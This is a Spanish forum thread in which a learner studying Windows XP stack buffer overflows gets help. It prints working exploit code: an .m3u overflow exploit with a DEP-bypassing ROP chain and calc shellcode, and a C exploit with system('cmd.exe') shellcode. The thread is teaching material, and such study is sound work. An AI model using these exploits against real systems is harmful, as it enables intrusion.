Ahora metemos 20 NOPs en la pila...
Y finalmente metemos 50 bytes de shellcode
Pero si "metemos", y no "pusheamos" los datos, por qué ESP apuntará a nuestra shellcode? Porque se terminará alguna parte o algo, pero no termino de verlo.
Gracias de antemano ;).
Tienes muchas pero muchas creo que para que puedas solventarlas todas es mejor que leas los tutoriales de corelan, me imagino que sabes que están en español, si no es así:
http://ricardonarvaja.info/WEB/buscador.php (http://ricardonarvaja.info/WEB/buscador.php)
busca por corelan
creeme que en este tutorial te explica todo y el por qué que es lo más importante ya que sin ese por qué no podrás aplicar lo aprendido en otras aplicaciones.
En cuanto a EIP es sobre escrito debido a que nosotros estamos pulverizando el marco de pila, ya que acuérdate que cuando se realiza una CALL, El primer valor de la pila apunta al retorno de esta, lo cual después de que la call hace sus operaciones recupera tal valor para retornar:
push ebp
mov ebp,esp
...
..
...
leave (mov esp,ebp / pop ebp)
retn x (limpieza de la pila)
La idea es que en el punto de retornar como escribimos más allá del marco de pila controlaremos el flujo del programa, en si todo el detalle te lo dará el tutorial, el de Rojodos es un buen tutorial una buena idea pero no puedes compararlo a algo que tiene imágenes y son 12 tutoriales dando unas 400 páginas diría promedio, saludos y buena aventura.
Está bien, voy a compilar con gcc, probar a seguir el tutorial de Corelan sobre BoF y hacer el exploit y comento.
PD.: Aunque he compilado con gcc, he ejecutado el exploit de Rojodos y no ha funcionado.
Vaya parece que son 80 Aes para pisar el return en vez de 76 sorry, pon 80 y otra cosa que ha surgido en la lista crackslatinos y que puede ser esto. La cookie del stack. Pon un bp en IsDebuggerPresent y comenta si para ahi y después termina el programa, ok? Comenta después.
Cita de: Lodos76 en 2 Marzo 2014, 21:18 PM
Dudas referentes al exploit:
Se sustrae a ESP 64 bytes
se pushea el ret address porque hemos llamado a strcpy
; push ebp ; Esto no interviene
; mov ebp,esp ; Esto no interviene
Se van metiendo en la pila las 76 As. Si lo compilo con MCV++ se meten hacia abajo, ¿no?
Si, se meten hacia abajo en el espacio que se reservó para el buffer.
Cita de: Lodos76 en 2 Marzo 2014, 21:18 PM
Me refiero a que con gcc deberían meterse hacia arriba hasta un punto en que arriba se sustituye el ret address por lo que pongamos nosotros (que será un jmp esp)
No, no se pushean, se sobreescribe en el buffer.
Cita de: Lodos76 en 2 Marzo 2014, 21:18 PM
Pero si "metemos", y no "pusheamos" los datos, por qué ESP apuntará a nuestra shellcode? Porque se terminará alguna parte o algo, pero no termino de verlo.
La instrucción leave es la que se encarga de dejar todo "como estaba" y desapila el marco quedando ya solo el ret que ahí tendrás un return que apunta un jmp esp en la dll y ésta hará saltar a la shellcode. No sé si se entiende si eso vuelve a preguntar.
Buenas noches.
Acabo de terminar el tutorial (tardé porque estuve haciendo unas herramientas en Python), y tengo dos pequeeeeeeeeñas dudas:
PDF 1 de Corelan
1. ¿Por qué si MyVar necesita 128 bytes, Dev-C++ reserva 98? (sub esp,98) [Página 14]
2. En teoría, si ejecuto el exploit, éste se mete en la pila hacia abajo, pero en la imagen tengo que se mete hacia arriba de la pila (los 41 deberían estar donde están los 43 y viceversa):
(http://www.subeimagenes.com/img/01-864113.png)
Además, si strcpy termina en '\0', entonces 26074 As / 4 Bytes = 6518.5, y debería dar 6518.75, así está claro que el último byte es el carácter nulo, pero ese 0.25 que nos falta lo ocupa una 'A'
¿Qué ocurre?
exploit.pl
my $file= "crash.m3u";
my $junk= "A" x 26074;
my $eip= "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "Archivo m3u creado exitosamente\n";
Si mal no me equivoco el compilador realiza un proceso llamado re-alineamiento, en donde se alinean los bytes en 4, no recuerdo muy bien pero en palabras simples el número de A para generar el desbordamiento no será uno más que el el tamaño del buffer establecido en el código de fuente.
No creo que hayas terminado el tutorial de corelan son 400 páginas, imposible, quizás el nº 1 pero todas las demás no, recuerda que lo que viene es de mucha utilidad, ya que te dejaré con intriga, pero te comento que ese exploit servirá puntualmente para XP, debes aprender sobre las protecciones y seguir adelante, saludos.
Aquí hice uno anti-dep aun así funciona en un sistema específico ya que utiliza direcciones de módulos del sistema, y aun así es complejo, es para el mismo programa que pusiste, saludos:
# Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
# Language = Spanish
# Author = UND3R
my $file = "exploit.m3u";
my $junk = "\x41" x 26061;
my $align = "\x41" x 4;
my $eip = pack('V',0x7729f0a5); # urlmon.dll | RETN
my $rop1 = pack('V',0x58c3f678); # COMCTL32.dll | MOV ESI,ESP / RETN
my $rop2 = pack('V',0x77c0db6b); # msvcrt.dll | MOV EAX,ESI / RETN
my $rop3 = pack('V',0x77c21e53); # msvcrt.dll | ADD ESP,0x1C / RETN
# VirtualProtect(
my $VirtualProtect = pack('V',0x7c801ad0);
my $vaPayload = "AAAA";
my $arg1 = "BBBB";
my $arg2 = "CCCC";
my $arg3 = "DDDD";
my $arg4 = pack('V',0x10035010); # MSRMfilter03.dll
# );
my $rop4 = pack('V',0x774ce0c8); # ole32.dll | XCHG EAX,ECX / RETN
my $rop5 = pack('V',0x7Cbaa4cb); # SHELL32.dll | MOV EAX,ECX / RETN
my $rop6 = pack('V',0x774d8cd4); # ole32.dll | ADD EAX,0x64 / RETN
my $rop7 = pack('V',0x774d8cd4); # ole32.dll | ADD EAX,0x64 / RETN
my $rop8 = pack('V',0x58c38371); # COMCTL32.dll | XCHG EAX,ESI / RETN
my $rop9 = pack('V',0x77bef2c1); # msvcrt.dll | ADD EAX,0x08 / RETN
my $rop10 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
my $rop11 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop12 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
my $rop13 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop14 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
my $rop15 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop16 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
my $rop17 = pack('V',0x7c91eb79); # ntdll.dll | POP EBP / RETN
my $rop18 = pack('V',0x3bfffbdc); # 3BFFFBDC
my $rop19 = pack('V',0x7724105d); # urlmon.dll | XCHG EAX,EBP / RETN
my $rop20 = pack('V',0x7ca637e5); # SHELL32.dll | SUB EAX,0x3BFFFB14 / RETN
my $rop21 = pack('V',0x775cb360); # ole32.dll | XCHG EAX,ESI / RETN
my $rop22 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop23 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
my $rop24 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop25 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
my $rop26 = pack('V',0x7c91eb79); # ntdll.dll | POP EBP / RETN
my $rop27 = pack('V',0x3bfffb54); # 3BFFFB54
my $rop28 = pack('V',0x7724105d); # urlmon.dll | XCHG EAX,EBP / RETN
my $rop29 = pack('V',0x7ca637e5); # SHELL32.dll | SUB EAX,0x3BFFFB14 / RETN
my $rop30 = pack('V',0x775cb360); # ole32.dll | XCHG EAX,ESI / RETN
my $rop31 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop32 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
my $rop33 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop34 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
my $rop35 = pack('V',0x774ce0c8); # ole32.dll | XCHG EAX,ECX / RETN
my $rop36 = pack('V',0x73d95858); # MFC42.DLL | PUSH EAX / POP ESP / POP EDI / POP ESI / RETN
my $ROPgadgets = $align . $rop1 . $rop2 . $rop3 . $VirtualProtect . $vaPayload . $arg1 . $arg2 .$arg3 . $arg4 . $align . $rop4 . $rop5 . $rop6 . $rop7 . $rop8 . $rop9 . $rop10 . $rop11 . $rop12 . $rop13 . $rop14 . $rop15 . $rop16 . $rop17 . $rop18 . $rop19 . $rop20 . $rop21 . $rop22 . $rop23 . $rop24 . $rop25 . $rop26 . $rop27 . $rop28 . $rop29 . $rop30 . $rop31 . $rop32 . $rop33 . $rop34 . $rop35 . $rop36;
my $nop = "\x90" x 40;
my $payload =
# msfpayload windows/exec CMD=calc.exe R | msfencode -e x86/alpha_upper -t perl
"\x89\xe0\xda\xc4\xd9\x70\xf4\x5f\x57\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x4d\x59\x43\x30\x43\x30\x35\x50\x53\x50\x4c\x49\x5a" .
"\x45\x30\x31\x38\x52\x45\x34\x4c\x4b\x51\x42\x50\x30\x4c" .
"\x4b\x56\x32\x34\x4c\x4c\x4b\x56\x32\x54\x54\x4c\x4b\x33" .
"\x42\x31\x38\x44\x4f\x4e\x57\x31\x5a\x36\x46\x36\x51\x4b" .
"\x4f\x56\x51\x4f\x30\x4e\x4c\x57\x4c\x53\x51\x43\x4c\x43" .
"\x32\x36\x4c\x57\x50\x49\x51\x48\x4f\x44\x4d\x53\x31\x4f" .
"\x37\x5a\x42\x4a\x50\x51\x42\x56\x37\x4c\x4b\x46\x32\x44" .
"\x50\x4c\x4b\x47\x32\x37\x4c\x55\x51\x38\x50\x4c\x4b\x51" .
"\x50\x54\x38\x4d\x55\x4f\x30\x53\x44\x50\x4a\x53\x31\x58" .
"\x50\x56\x30\x4c\x4b\x50\x48\x35\x48\x4c\x4b\x36\x38\x37" .
"\x50\x35\x51\x59\x43\x4d\x33\x37\x4c\x57\x39\x4c\x4b\x36" .
"\x54\x4c\x4b\x33\x31\x38\x56\x36\x51\x4b\x4f\x46\x51\x49" .
"\x50\x4e\x4c\x4f\x31\x48\x4f\x44\x4d\x53\x31\x48\x47\x56" .
"\x58\x4b\x50\x33\x45\x5a\x54\x45\x53\x43\x4d\x4c\x38\x57" .
"\x4b\x33\x4d\x36\x44\x33\x45\x4d\x32\x30\x58\x4c\x4b\x36" .
"\x38\x57\x54\x53\x31\x4e\x33\x53\x56\x4c\x4b\x54\x4c\x30" .
"\x4b\x4c\x4b\x50\x58\x45\x4c\x55\x51\x38\x53\x4c\x4b\x54" .
"\x44\x4c\x4b\x55\x51\x58\x50\x4d\x59\x50\x44\x47\x54\x47" .
"\x54\x51\x4b\x51\x4b\x45\x31\x51\x49\x30\x5a\x36\x31\x4b" .
"\x4f\x4b\x50\x50\x58\x31\x4f\x51\x4a\x4c\x4b\x42\x32\x4a" .
"\x4b\x4d\x56\x51\x4d\x33\x5a\x35\x51\x4c\x4d\x4c\x45\x4f" .
"\x49\x53\x30\x55\x50\x35\x50\x56\x30\x43\x58\x36\x51\x4c" .
"\x4b\x52\x4f\x4b\x37\x4b\x4f\x39\x45\x4f\x4b\x5a\x50\x48" .
"\x35\x59\x32\x46\x36\x52\x48\x49\x36\x5a\x35\x4f\x4d\x4d" .
"\x4d\x4b\x4f\x58\x55\x57\x4c\x34\x46\x53\x4c\x55\x5a\x4d" .
"\x50\x4b\x4b\x4d\x30\x33\x45\x34\x45\x4f\x4b\x37\x37\x34" .
"\x53\x54\x32\x42\x4f\x52\x4a\x43\x30\x46\x33\x4b\x4f\x38" .
"\x55\x45\x33\x43\x51\x52\x4c\x42\x43\x56\x4e\x52\x45\x42" .
"\x58\x52\x45\x55\x50\x41\x41";
my $exploit = $junk . $eip . $ROPgadgets . $nop . $payload;
open($file, ">$file");
print $file $exploit;
close($file);
print "Archivo " . $file . " creado correctamente.";
Sí, terminé el PDF nº1 y tengo esas dudas. No quiero arrastrar mi conocimiento básico erróneo a los otros PDFs. Realmente entiendo todo lo demás, y los NOPs creo que son para limpiar datos que podrían estar en la pila aún, pero aún así, eso lo veré en los próximos PDFs.
Sé que se alinean datos de 32 bits en la pila (de 4 en 4), sé ensamblador.
Pero eso de introducir 1 byte más que el buffer no me suena (el buffer incluye el '\0').
Pues eso, agradecería que alguien me contestase a lo que pregunté.
Gracias de antemano.
Cita de: Lodos76 en 3 Marzo 2014, 23:57 PM
1. ¿Por qué si MyVar necesita 128 bytes, Dev-C++ reserva 98? (sub esp,98) [Página 14]
128 bytes en decimal, 98 en hexadecimal = 152 bytes
Cita de: Lodos76 en 3 Marzo 2014, 23:57 PM
2. En teoría, si ejecuto el exploit, éste se mete en la pila hacia abajo, pero en la imagen tengo que se mete hacia arriba de la pila (los 41 deberían estar donde están los 43 y viceversa):
Es posible que se haya usado la variable de las Aes anteriormente y por eso lo tengas así. No se meten hacia arriba.
Cita de: Lodos76 en 3 Marzo 2014, 23:57 PM
Además, si strcpy termina en '\0', entonces 26074 As / 4 Bytes = 6518.5, y debería dar 6518.75, así está claro que el último byte es el carácter nulo, pero ese 0.25 que nos falta lo ocupa una 'A'
¿Qué ocurre?
¿Podrías enseñar esa zona de la pila?
PD. No vas a terminar el otro?
Era hexa, qué fail ;D.
Acabo de terminar el paper de Rojodos, y me sale todo bien, pero el offset de jmp esp en kernel32.dll cambia nada más ejecuto algo, y así es imposible ejecutar system(), porque cuando ejecuto el exploit cambia el offset >:( (en msvcrt.dll no tengo ningún jmp, y antes de suspender el portátil tenía calls, y ahora tengo push esp ret, eso es posible, ¿no? xD).
Otra cosa, en el paper de Rojodos, cuando introduzco AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU => EIP=TTTT, ESP=dirección que contiene UUUU, pero ESP != UUUU
En cambio, con el código de Rojodos a EBP sí puedo ponerle que apunte a 414141 por ejemplo.
Pero ESP no apunta (sólo contiene) y si uso JMP ESP, salta a la shellcode. Me ha parecido extraño. ¿Y eso?
Por cierto, se dice que no hay que sustituir el EIP por una dirección de memoria, ya que cambia muy a menudo la pila.
Vale, eso lo entendería, pero si los Arguments que pongo antes del EIP son carácteres y siempre van a ser los que ponga en la pila... ¿por qué la dirección que ponga como EIP, que al fin y al cabo introduzco 4 bytes igualmente, cambia a la que yo puse?
Lo de la imagen que me dijiste es esto, aunque si se habrá usado la variable de As anteriormente... aún así, no entiendo qué hace el 0x00 ahí.
(http://www.subeimagenes.com/img/01-864113.png)
Me da la sensación que según qué compilador, qué protección de software, la ruta que habrá usado un servidor, cambia el exploit, y aunque esté claro el PoC, ejecutar un exploit y que funcione en un sistema remoto puede no funcionar aunque sepas mucho...
Yo creo que estas serán la últimas dudas del tema, ya que "ya sé" (sé muy poco aún) hacer exploits.
Y qué decir... ¡Muchísimas gracias! Voy a seguir investigando en estos temas que son muy interesantes :).
Cita de: Lodos76 en 4 Marzo 2014, 23:22 PM
Acabo de terminar el paper de Rojodos, y me sale todo bien, pero el offset de jmp esp en kernel32.dll cambia nada más ejecuto algo, y así es imposible ejecutar system(), porque cuando ejecuto el exploit cambia el offset >:( (en msvcrt.dll no tengo ningún jmp, y antes de suspender el portátil tenía calls, y ahora tengo push esp ret, eso es posible, ¿no? xD).
Sí.
Cita de: Lodos76 en 4 Marzo 2014, 23:22 PM
Otra cosa, en el paper de Rojodos, cuando introduzco AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU => EIP=TTTT, ESP=dirección que contiene UUUU, pero ESP != UUUU
En cambio, con el código de Rojodos a EBP sí puedo ponerle que apunte a 414141 por ejemplo.
Pero ESP no apunta (sólo contiene) y si uso JMP ESP, salta a la shellcode. Me ha parecido extraño. ¿Y eso?
ESP es una dirección de la pila y lo que contiene es lo que tu le metes a través del overflow si le metes UUUU la dirección de ESP contendrá UUUU. La verdad no te entiendo bien esta pregunta a que te refieres.
Cita de: Lodos76 en 4 Marzo 2014, 23:22 PM
Por cierto, se dice que no hay que sustituir el EIP por una dirección de memoria, ya que cambia muy a menudo la pila.
Vale, eso lo entendería, pero si los Arguments que pongo antes del EIP son carácteres y siempre van a ser los que ponga en la pila... ¿por qué la dirección que ponga como EIP, que al fin y al cabo introduzco 4 bytes igualmente, cambia a la que yo puse?
Lo que metes en la pila por el overflow no cambia, lo que cambia es el address del jmp esp en la dll en cada service pack (actualizaciones) o cada vez que inicia windows (Aunque en XP no viene implementado, lo verás cuando te toque bypassear ASLR)
Cita de: Lodos76 en 4 Marzo 2014, 23:22 PM
Me da la sensación que según qué compilador, qué protección de software, la ruta que habrá usado un servidor, cambia el exploit, y aunque esté claro el PoC, hacer un exploit funcional en un sistema remoto puede no funcionar aunque sepas mucho...
No creo que hagas un exploit para atacar a ciegas, si no testeando en el software vulnerable antes, que ya ha sido compilado y se ejecutará con las mismas protecciones en todos los SO familia windows por ejemplo (No sé si me explico). Por lo tanto si será efectivo.
Cita de: Lodos76 en 4 Marzo 2014, 23:22 PM
Y qué decir... ¡Muchísimas gracias! Voy a seguir investigando en estos temas que son muy interesantes :).
De nada tiuuu!! Dale duro si que lo son ;)
Sí.
¿No se supone que se busca un JMP ESP en una DLL? Las DLLs no cambian su código :S...
Lo que metes en la pila por el overflow no cambia, lo que cambia es el address del jmp esp en la dll en cada service pack (actualizaciones) o cada vez que inicia windows (Aunque en XP no viene implementado, lo verás cuando te toque bypassear ASLR)
Imagina que hago un findjmp.exe kernel32.dll esp
Y me da una dirección, y con esa dirección hago un exploit y EIP tendría que apuntar a esa dirección, pero EIP resulta que apunta a otra.
No creo que hagas un exploit para atacar a ciegas, si no testeando en el software vulnerable antes, que ya ha sido compilado y se ejecutará con las mismas protecciones en todos los SO familia windows por ejemplo (No sé si me explico). Por lo tanto si será efectivo.
Pero pueden tener programas antiexploits y tú no tienes forma de saber cuáles son, o un firewall, y hay muchos firewalls. Yo mismo tengo más de 1 firewall activo.
¿Qué me dices de la imagen?
¿Se puede evitar que pete un programa por haber ejecutado un exploit?
Básicamente... Lo que haces con los JMP registro es saltar al stack (la RAM) y ejecutar ese código, ¿no?
El código ensamblador está en el disco duro y el .data en la RAM, ¿no?
Salu2
Cita de: Lodos76 en 5 Marzo 2014, 02:26 AM
¿No se supone que se busca un JMP ESP en una DLL? Las DLLs no cambian su código :S...
Me refiero a que un push esp ret es también válido.
Cita de: Lodos76 en 5 Marzo 2014, 02:26 AM
Imagina que hago un findjmp.exe kernel32.dll esp
Y me da una dirección, y con esa dirección hago un exploit y EIP tendría que apuntar a esa dirección, pero EIP resulta que apunta a otra.
Tienes que cuidar que el ret en la pila sea esa dirección.
Cita de: Lodos76 en 5 Marzo 2014, 02:26 AM
Pero pueden tener programas antiexploits y tú no tienes forma de saber cuáles son, o un firewall, y hay muchos firewalls. Yo mismo tengo más de 1 firewall activo.
Programas antiexploits, pueden haber si, tendrás que atacar por otro lado si se diese el caso :/ los firewall son otro tipo de protecciones que también te impedirian pero si por ejemplo tu explotas un navegador haces una conexion inversa y depende de como este configurado el firewall dejará pasar la conexión.
Cita de: Lodos76 en 5 Marzo 2014, 02:26 AM
¿Qué me dices de la imagen?
No sé que contestarte, pero todo apunta a un final de cadena..
Cita de: Lodos76 en 5 Marzo 2014, 02:26 AM
¿Se puede evitar que pete un programa por haber ejecutado un exploit?
Básicamente... Lo que haces con los JMP registro es saltar al stack (la RAM) y ejecutar ese código, ¿no?
Se podria evitar si, un ejemplo http://vimeo.com/25200425 (http://vimeo.com/25200425) y si, salta al espacio del stack y se ejecuta el código.
Cita de: Lodos76 en 5 Marzo 2014, 02:26 AM
El código ensamblador está en el disco duro y el .data en la RAM, ¿no?
El programa entero está cargado en la RAM de una manera virtual y en el disco duro estará en modo fisico (para que me entiendas pero se dice al revés)
Creo que te estás enredando y confundiendo tu mismo, debes ir paso a paso y estas haciendo preguntas que con tu nivel de conocimiento, tanto una respuesta bien detallada te llevara a confundirte más y generará más preguntas, un círculo vicioso recursivo.
Yo no soy partidiario de que las cosas son así por que sí, pero intenta de buscar otro plan estratégico estás mirando desde abajo hacia arriba y te está cayendo mucho conocimiento desde el cielo, el cual no es necesario en este momento y solo te llevará a sentirte una hormiga que no sabe absolutamente nada.
Debes entender lo siguiente, un desbordamiento de pila consiste en modificar el flujo normal de un programa a través de un código mal formado (para el programa) capas de modificar el Instruction Counter/Program Counter en Intel este valor lo posee un registro que se llama EIP. Para modificar EIP debes hacer que el programa recupere el valor de una CALL, ya que como te comenté cuando se llama a una CALL se debe dejar en la pila la dirección de retorno, o si no el programa nunca sabrá donde retornar una vez ejecutada las instrucciones de la call.
Citarinstruciones
...
..
..
Call Sumar
continuar.
..
..
..
Sumar:
guardaré los datos proporcionados para no perderme
aquí se suma
ahora debo volver
recuperaré los datos proporcionados para devolverme
a debo ir a continuar.
Buffer Overflow
Citarinstruciones
...
..
..
Call Sumar
continuar.
..
..
..
Sumar:
guardaré los datos proporcionados para no perderme
aquí se suma
ahora debo volver
recuperaré los datos proporcionados para devolverme
a debo ir a "AAAAAAAA".
Es una metáfora y debes tenerlo así mentalizado, no es el momento que aprendas los alineamientos, los marco de pilas, como se reserva espacio en el stack para trabajar con variables locales, etc.
NO!
Una vez que lograste modificar el PC, requieres redireccionar el programa hacia tu payload o código de carga que se encargará de hacer lo que tu desees, ¿en donde está?, en la pila, para ello debes utilizar instrucciones que se encarguen de direccionar el flujo hacia la pila, y aquí no es siempre JMP ESP, tal como comenta soez la limitación del salto hacia el stack es TU IMAGINACIÓN, no debes seguir al pie de la letra el tutorial, si no entiendes mucho está bien pero hay variables, partiendo por las direcciones de los SO Windows, por ello el tutorial es una referencia a como actuar.
JMP ESP
POP r32 / RETN
MOV ESP,r32 (r32 valor controlable y generado de forma dinámica)
Un poco de instrucciones. En Windows las direcciones de memoria varían de acuerdo a la versión del sistema operativo, esto provoca que si tomas una dirección de una API/función, lo más probable es que esta no esté. Aquí viene lo que se denomina instrucciones seguras o confiables y las no confiables.
Si ignoramos todo mecanismo de protección, te recomiendo que utilices direcciones del programa, pero ¿cómo lo harás?, sencillo buscas las dll que hayan sido cargadas por el programa, inclusive el mismo programa podría ser utilizado, aunque no es muy recomendable a causa de que generalmente el ImageBase (dirección base de las dirección) contiene bytes nulos 0040xxxx por lo cual si estás explotando un buffer de string, estos se terminan con byte nulos, podría utilizarse si fuese el último parámetro en desbordar. Ahora estas direcciones no cambiarán ya que son direcciones del programa la única manera que cambie es que haya una actualización de esta de forma extrema, es decir cambiar casi todos sus módulos, etc, cosa que para ello deberías crear un nuevo explot, ahora que sabes que dirección es confiable y que no ya puedes usar un criterio. Ahora que JMP ESP no cambia, eso no se a que te refieres, las direcciones apuntan a instrucciones o buffer de datos, si estas direcciones son confiables, siempre deberían apuntar al mismo conjunto de instrucciones o buffer, por ello usar siempre direcciones del programa.
Ahora hablemos de ASLR Address space layout randomization, esto modifica el Image Base siempre cuando el módulo lo permita si mal no me equivoco es una bandera 0x40 activada, que se activa con el compilador visual studio con un parámetro, no recuerdo exactamente, esto cada vez que se reinicie el equipo el Image Base se modificará por lo cual no podrás tener direcciones confiables, para ello como solución es trabajar con módulos sin ASLR, puedes usar plugins en el depurar que se encargan de listar las protecciones de compilación y enlace que poseen. Si todos los módulos están protegidos por ASLR, podrías basarte en la predicción del heap o montículo, esta técnica se llama heap spraying pero vez? no puedes aprender todo este en un simple post, debes leer y plantear tus dudas putuales del capítulo y toma sorbos de apoco quizás te termines quemando.
Si tienes nuevas dudas, por favor hace un nuevo tema con la pregunta específica, este post solamente tiene un surtido de dudas que dificultan al lector.
Duda nueva puntual, post nuevo puntual con la pregunta.
Yo desisto de ayudarte más si no sigues las reglas que te he planteado
a por cierto si no sabes ASM, no puedes aprender sobre exploit, sin tampoco decir que debes aprender Ingeniería inversa,ya que sin ella no podrás encontrar los fallos del programa y ataque remoto siempre se podrá si el puerto está abierto y es vulnerable, ahora el payload puede que sea detectado, esos sistemas de protección se llaman Antivirus y firewall, ahora pueden haber otros mecanismos que deben basarse en el análisis o comportamiento de un programa, pero desconozco sobre ellos.
Si deseas aprender ensamblador hice un resumen hace unos años:
http://www.mediafire.com/view/ijc4am0y48hbc4w/ASM.pdf (http://www.mediafire.com/view/ijc4am0y48hbc4w/ASM.pdf)
Saludos
Está bien, tienes razón.
Sobre el exploit ya terminado del paper de Rojodos:
(vuln1.c está en el primer comentario del tema).
He cogido system() de msvcrt.dll y JMP ESP de kernel32.dll, ya que también carga esa DLL.
exploit_vuln1.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main (int argc,char **argv) {
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"; // Para llenar el buffer y llegar al ret
/* <=== SHELLCODE ===>
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,04h
mov byte ptr [ebp-08h],63h
mov byte ptr [ebp-07h],6Dh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],65h
mov byte ptr [ebp-03h],78h
mov byte ptr [ebp-02h],65h
lea eax,[ebp-08h]
push eax
mov ebx,0x77C293C7
call ebx
*/
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x7B\x46\x86\x7C\xFF\xD3";
//Shellcode que ejecuta system("cmd.exe"), con la llamada a system harcodeada
//en 0x77C293C7 --> \xC7\x93\xC2\x77
char offset[]="\x7B\x46\x86\x7C"; // Offset jmp esp kernel32.dll WinXP SP3 En(US) --> 0x7C86467B --> \x7C\x46\x86\x7C
strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp
strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la shellcode
printf ("Cadena + offset + shellcode en formato printable\n\n");
printf ("%s", evilbuffer);
argv[1] = "vuln1";
argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1
argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos
execv ("vuln1.exe", argv); //Ejecutamos vuln1.exe pasándole evilbuffer como argumento
return 0;
}
Pues bueno, ejecuto el exploit y me da error, le doy a "debug" para que saber qué ha pasado con mi debugger just-in-time, y veo esto:
(http://www.subeimagenes.com/img/02-866366.png)
¿Y eso?